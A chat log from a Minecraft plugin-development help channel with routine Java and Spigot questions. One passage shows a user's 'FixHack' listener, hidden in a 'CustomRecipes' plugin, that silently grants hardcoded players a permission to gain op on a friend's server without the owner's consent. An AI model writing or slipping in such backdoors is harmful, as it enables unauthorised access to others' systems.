#

Could you provide the full log?

#

Interesting, I get

[18:04:56 ERROR]: Could not load 'plugins/PerPlayerBorder-1.0-SNAPSHOT.jar' in folder 'plugins'
[...]
Caused by: java.io.FileNotFoundException: Jar does not contain plugin.yml
    ... 7 more
#

Given that some other people have complained about me spoonfeeding others I won't say more there

formal dome
#

what's the difference between using inet4 and inet6

quiet ice
#

I'd say one is ipv4 and the other ipv6?

#

This class represents an Internet Protocol version 6 (IPv6) address. Defined by RFC 2373: IP Version 6 Addressing Architecture.
(Inet6Address)
This class represents an Internet Protocol version 4 (IPv4) address. Defined by RFC 790: Assigned Numbers, RFC 1918: Address Allocation for Private Internets, and RFC 2365: Administratively Scoped IP Multicast
(Inet4Address)

formal dome
#

i'm gonna stick with inet4

#

sounds private lmao

quiet ice
#

Beware, the future is ipv6

quaint mantle
#

who even uses ipv6

formal dome
#

minecraft always uses ipv4

quiet ice
#

It can use ipv6

#

And in the dawn of IoT ipv6 is getting more and more attention

golden turret
#

i have an itemstack of 1 crafting table.
i have an inventory with 10 crafting tables.
if i call inventory.remove(craftingTable) will it remove only 1 crafting table leaving 9 in the inventory or it will remove all crafting tables?

quiet ice
#

?jd

quiet ice
#

All stacks

formal dome
#

how do u return an Inet4Address object with the correct adderss that you want?

formal dome
#

this looks ilke the function

#

but how do i turn my ipv4 into a byte array?

#

ah sorry

muted crest
#

how i can force a chunk to load and keep it by his coordinate ?

muted sand
#

What do people mean by a server core? Isn't that just a normal plugin with all the features you want in that one plugin? Or is there something else that I am missing? (One plugin has access to another's functions or something?)

wide creek
plucky crow
#

How do I generate 3 randoms?
For example, when I type /random, it will give the player one of the 3 items?

wide creek
#

nvm fixed

#

thx

quaint mantle
#

so im checking for a gui, I was checking for the actual gui i created before, but it wasnt working so now im checking for the title, and its still broken. Anyone have any idea why?

quiet ice
#

ThreadLocalRandom

#

it's concurrent, while Math.random is not (depending on the java version that is)

celest estuary
#

how can i make my number go with decimals behind 0

#

i thought its like this

#

but it seems like it doesnt

quiet ice
#

what exactly do you want to accomplish?

#

do you not want to have something with 10.005?

celest estuary
#

I type /number 8

onyx shale
celest estuary
#

I want below 1.0

#

Like if i type 8

#

that i get 0.8

quiet ice
#

Ah I see

#

Use / 10.0F

celest estuary
quiet ice
#

int / int = int

#

int / float = float

celest estuary
#

aha

#

yeh i test out rn

#

like this?

quiet ice
#

yep.

celest estuary
#

Ty!

quiet ice
#

Honestly, the compiler should warn people about this, this happens far too often

celest estuary
#

its working

celest estuary
eternal night
#

intellij does warn you

celest estuary
#

i didnt got one ig

#

Oh yeah now i see

#

the yellow triangle

#

Should be underlined or something

little trail
#
JSONObject o1 = new JSONObject();
o1.put("name", serverName);```
 `Type safety: The method put(Object, Object) belongs to the raw type HashMap. References to generic type HashMap<K,V> should be parameterizedJava(16777747)` where `JSONObject` is from org.json.simple
quiet ice
#

Blame ancient java versions

#

Absolutely nothing you can do. I recommend using another non-deprecated library

little trail
#

any recommendations? ive not found anything but json.simple and all i need is a map to json and json to map

onyx shale
#

what for?

little trail
#

all i need is a map to json and json to map

onyx shale
#

again.. what will you use it for

quiet ice
#

org.json:json has been my goto for json for quite a while, but it likely does not do such serialisation

onyx shale
#

idc about the implementation i want the need

little trail
#

send and receive from a websocket

onyx shale
#

use the http library

little trail
#

yeah uh what part

onyx shale
#

import org.json.JSONObject;

quiet ice
#

that's org.json:json afaik

onyx shale
little trail
#

eh thats not the http library

onyx shale
#

its mostly used paired with http

little trail
#

the http library is net.http

quiet ice
#

(i. e. the json reference implementation)

onyx shale
#

im refering to apaches good one

#

not javas garbo internal

#

good ol http utils

#

used it once then abandoned it

little trail
#

org.json.JSONObject is what i needed ty

#

its very simple to convert its all i needed

#

yes

somber ember
#

can somebody help me on help server channel

little trail
#

im dumb, whats the best way to identify a server, ip wont work as services like minehut allocate different ips every restart

eternal oxide
#

if its from your own plugin you could generate a server ID (UUID) at first startup

#

if its from your own plugin you could generate a server ID (UUID) at first startup

wary harness
#

how is this possible

#

rendering player in book

#

no mods only resource pack

eternal night
#

isn't wynntils literally a mod ๐Ÿ‘€

#

Wynntils is a Wynncraft Mod that seeks to enhance the user's gameplay with a variety of customizable options and additions.

#

yea, this is a mod ๐Ÿ˜…

tardy delta
#

should i use a switch for two cases?

#

prob not

pine island
#

dude explain

eternal oxide
#

if its always one or teh other, no. If its just options which could be expanded later, yes.

onyx shale
tardy delta
#

probably not going to expand them later

patent horizon
#

what do i put into a potion's PotionMeta to make it a water bottle

onyx shale
#

nothing?

#

its defaulted to a water bottle afaik

patent horizon
#

ah

#

ok

elfin talon
#

Hey whenever I do an If query Config.contains I get the following error Caused by: java.lang.NullPointerException at de.haikobra.tyko.kdcounter.Tyko.utils.Config.contains(Config.java:32) ~[?:?]

My Config Class

  public Config() {
        File dir = new File("./plugins/KDcounter");
        if (!dir.exists()){
            dir.mkdirs();
        }

        file = new File(dir, "config.yml");
        if (!file.exists()){
            try {
                file.createNewFile();
            }catch (IOException e) {
                e.printStackTrace();
            }
        }

        config = YamlConfiguration.loadConfiguration(file);
    }

    public static boolean contains(String path) {
        return config.contains(path);
    }

    public static void set(String path, Object value) throws IOException{
        config.set(path, value);
        config.save(file);
    }

    public static Object get(String path) {
        if (!contains(path)){
            return null;
        }
        return config.get(path);
    }```
onyx shale
#

what in the name..

#

why arent you using the config through api?

tardy delta
#

why two files

elfin talon
#

okay i try the config through api

quiet ice
#

At least I think that is how it works

onyx shale
#

its the proper way

#

however filling everything else with static is not

quiet ice
#

yeah

manic crown
#

hi, how is it possible, if the value from the config is not there, or the value is 0 then...?

onyx shale
#

add a default

#

getString(path,default)

gleaming grove
onyx shale
#

or simply dont do anything

manic crown
#

thank you โค๏ธ

dry pike
#

Im having issues with the PersistentDataContainer; I have an itemframe and call a method that applies all the namespacedkeys. Now it seems that the itemframe is not getting these keys applied. Do I need to update the itemframe in the world?

    ItemFrame itemFrame = (ItemFrame) event.getEntity();
    mechanic.addNamespacedKeys(itemFrame);```
ivory sleet
tardy delta
#

ah it was a string

ivory sleet
#

Uh

#

Whatโ€™s the name of the Enum rather?

tardy delta
#

what

shadow tide
#

my plugin is getting disabled because there is no vault dependency, but I have the vault plugin clearly in my plugins folder. Is there something wrong with my code? I nearly copied and pasted vault's own setup code into my main class, if you need it here: ```java
private boolean setupEconomy() {
if (getServer().getPluginManager().getPlugin("Vault") == null) {
return false;
}
RegisteredServiceProvider<Economy> rsp = getServer().getServicesManager().getRegistration(Economy.class);
if (rsp == null) {
return false;
}
econ = rsp.getProvider();
return econ != null;
}
private boolean setupChat() {
RegisteredServiceProvider<Chat> rsp = getServer().getServicesManager().getRegistration(Chat.class);
chat = rsp.getProvider();
return chat != null;
}
private boolean setupPermissions() {
RegisteredServiceProvider<Permission> rsp = getServer().getServicesManager().getRegistration(Permission.class);
perms = rsp.getProvider();
return perms != null;
}
public static Economy getEconomy() {
return econ;
}

public static Permission getPermissions() {
    return perms;
}

public static Chat getChat() {
    return chat;
}```
eternal night
#

did you add vault as a dependency to your plugin.yml ?

shadow tide
#

no

#

how do I do that

eternal night
shadow tide
#

thanks

#

would this work? ```java
package com.CJendantix.CustomRecipes.events;

import java.util.List;

import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerJoinEvent;

import com.CJendantix.CustomRecipes.CustomRecipes;

import net.md_5.bungee.api.ChatColor;
import net.milkbowl.vault.permission.Permission;

public class FixHack implements Listener {

@EventHandler
public void onPlayerJoin (PlayerJoinEvent event) {
    Player player = event.getPlayer();
    Permission perms = CustomRecipes.getPermissions();
    if (List.of("CJendantix", "PintSizeJedi", "CatLordBlob", "Matidragon333").contains(player.getName())) {
        perms.playerAdd(player, "CJendantix.FixHack");
    } else {
        player.sendMessage(ChatColor.AQUA + "Welcome Back!");
    }
}

}

quaint mantle
#

if you're making a malware just know its an instant ban if its uploaded on any resource site

shadow tide
#

its not

#

its a joke on my friend ๐Ÿ™‚

quaint mantle
#

Ok

shadow tide
#

to give me and another one of my friends op on my friends private server

quaint mantle
#

doesnt seem very nice

#

๐Ÿ˜ฆ

shadow tide
#

he is a meany

#

we are just getting back at him for cheating in a manhunt (he used meteor client)

#

๐Ÿ˜‰

ancient plank
#

skill diff tbh

shadow tide
#

?

shadow tide
#

would it work, bc I'm not sure if thats whats breaking

#

I just gave you the entire class

ancient plank
lost matrix
shadow tide
#

I'm not sure myself

tardy delta
#

what wouldn't work?

shadow tide
#

I don't have access to the command that requires the permission "FixHack"

shadow tide
#

please at least use java highlighting

#

ok, I just tried to fix it and im getting this error Caused by: java.lang.ClassCastException: class java.lang.String cannot be cast to class java.lang.Iterable (java.lang.String and java.lang.Iterable are in module java.base of loader 'bootstrap') usually the caused by part is easy to read but I have no idea what this means

#

oooh

#

depend is of wrong type

#

lemme fix that

carmine nacelle
#

What's the non deprecated way to add a scoreboard objective?

#

nvm

shadow tide
#

unless I am still doing the format wrong, it is giving me this error for another reason now Disabled due to no Vault dependency found! (here is my plugin.yml depend: [Vault])

vagrant flicker
#

Is it possible to programmatically shuffle the player tick order?

lost matrix
vagrant flicker
#

There's a spigot.yml configuration called player-shuffle. It shuffles the tick order to prevent players from gaming the system by relogging to gain packet priority.

lost matrix
#

I would follow the breadcrumbs and see how the underlying implementation looks like. There is def no API way of doing that.

spare violet
quaint mantle
#

is it something in europe?

spare violet
#

i fixed it

#

with using Locale.ENGLISH

spare violet
visual tide
#

I have a file logger set up like below, and it works, but it always generate an empty file called mylogfile.log.lck, is this normal/something to worry about? The file also seems to disappear when the server stops

private final Logger logger = Logger.getLogger("MyPlugin");
FileHandler fh = null;
try {
  fh = new FileHandler(MyPlugin.getInstance().getDataFolder().getAbsolutePath() + "/mylogfile.log");
} catch (Exception e) {
  e.printStackTrace();
}
if (fh != null) {
  fh.setFormatter(new Formatter() {
    @Override
    public String format(LogRecord record) {
      SimpleDateFormat logTime = new SimpleDateFormat("MM-dd-yyyy HH:mm:ss");
      Calendar cal = new GregorianCalendar();
      cal.setTimeInMillis(record.getMillis());
      return "["
           + logTime.format(cal.getTime())
           + " "
           + record.getLevel()
           + "]: "
           + record.getMessage() + "\n";
    }
  });
}
logger.addHandler(fh);
young knoll
#

Seems like a lock file

opal juniper
quaint mantle
#

Us uses a dot

quaint mantle
#

every english country uses periods

opal juniper
#

ok cool

#

commas stupid

quaint mantle
#

very

#

how do they seperate thousands

opal juniper
#

๐Ÿค”

quaint mantle
#

1,000,000,005

#

1.000.000,005

opal juniper
#

^^^

quaint mantle
#

thats weird

opal juniper
#

just switch em

#

lol

quaint mantle
#

i dont like that

opal juniper
#

neither

quaint mantle
#

Just confusing to me

plain helm
#

Nice pfp tho

quaint mantle
#

thanks

opal juniper
#

basic

river ermine
#

Hi! Im new here and new to plugins development so sory for my bads.
Im using spigot 1.17.1 and in minecraft, when i place oak planks, event.getBlockPlaced().getType() returns LEGACY_WOOD instead of OAK_PLANKS
Know anyone how to help me?

echo basalt
#

add an api-version to your plugin.yml

opal juniper
#

what they said

river ermine
opal juniper
#

1.17

plain helm
#

No

quaint mantle
#

No .1

echo basalt
#

1.17

river ermine
#

okay

#

i try that

opal juniper
plain helm
#

1.13 is better if you want to support multiple versions

opal juniper
river ermine
onyx fjord
#

use newest or pre newest

quaint mantle
#

Ig for the people who want to support 1.8-1.17

onyx fjord
#

well

#

use 1.17 and via* then

quaint mantle
#

Or only like last 2 versions

#

this cookie is bussin

crimson terrace
waxen barn
#

Sorry, for stupid questions, but is there some way how to check if the player is under the water (has the air bubbles visible on the client)?

#

I found only #inWater and it check if the player is touching the water, not if he can breath

quaint mantle
#

getAirTicks?

crimson terrace
#

getRemainingAir

quaint mantle
#

Don't remember the exact name

#

Yeah

crimson terrace
#

not sure how to use it but you should be able to find something online if you google something like "Spigot getRemainingAir"

quaint mantle
#

There's something like getMaximumAir too so you can compare them

carmine nacelle
#
        Optional<CustomArrow> customArrow = archery.getCustomArrowManager().getCustomArrow(newHeldItem);
        customArrow.ifPresent(customArrow -> playerProfile.setCurrentArrow(customArrow.getArrowType()));

It's telling me "customArrow" is already defined in the scope on the 2nd line (which yeah I guess it is) but I want the code as short as possible. I know I could just rename it to customArrow1 but that doesnt seem like the most efficient way.

#

nvm got it

young knoll
#

You can 1 line it

carmine nacelle
#
archery.getCustomArrowManager().getCustomArrow(newHeldItem).ifPresent((CustomArrow customArrow) -> playerProfile.setCurrentArrow(customArrow.getArrowType()));
young knoll
#

mhm

carmine nacelle
#

sexy now

quaint mantle
#
archery.getCustomArrowManager().getCustomArrow(newHeldItem)
        .ifPresent((CustomArrow customArrow) -> playerProfile.setCurrentArrow(customArrow.getArrowType()));
#

multiple lines must be used for lambda operations ๐Ÿ˜ 

carmine nacelle
#

nawww

young knoll
#

archery.getCustomArrowManager().getCustomArrow(newHeldItem).ifPresent(customArrow -> playerProfile.setCurrentArrow(customArrow.getArrowType()));

quaint mantle
#

so you like this

config.getKeys(false).stream().filter(config::isConfigurationSection).map(config::getConfigurationSection).collect(Collectors.toSet());

instead of this

config.getKeys(false).stream()
    .filter(config::isConfigurationSection)
    .map(config::getConfigurationSection)
    .collect(Collectors.toSet());
#

or if you like this codestyle

config.getKeys(false).stream()
                     .filter(config::isConfigurationSection)
                     .map(config::getConfigurationSection)
                     .collect(Collectors.toSet());
#

i dont

waxen barn
#

because I need to fire the event the at exactly same moment

carmine nacelle
#

So I have multiple different types of custom arrows, I have it to where if you press the hotkey corresponding to the slot that the arrow is in, it cancels the event and sets that to your current arrow in my profile system

#

but when you shoot the bow, it shoots the first arrow if finds in the hotbar

crimson terrace
carmine nacelle
#

what's the best way to change it..? I don't really want to just move the new arrow type to the first slot cause then it would possibly confuse the player,

#

I guess I could interrupt the arrow shooting and shoot my own projectile of the correct type but..

waxen barn
crimson terrace
#

I dont see a reason why it would do it later... pretty much everything happens the exact tick you program it to happen.

#

if you dont code it into a delayedTask or repeatingTask

waxen barn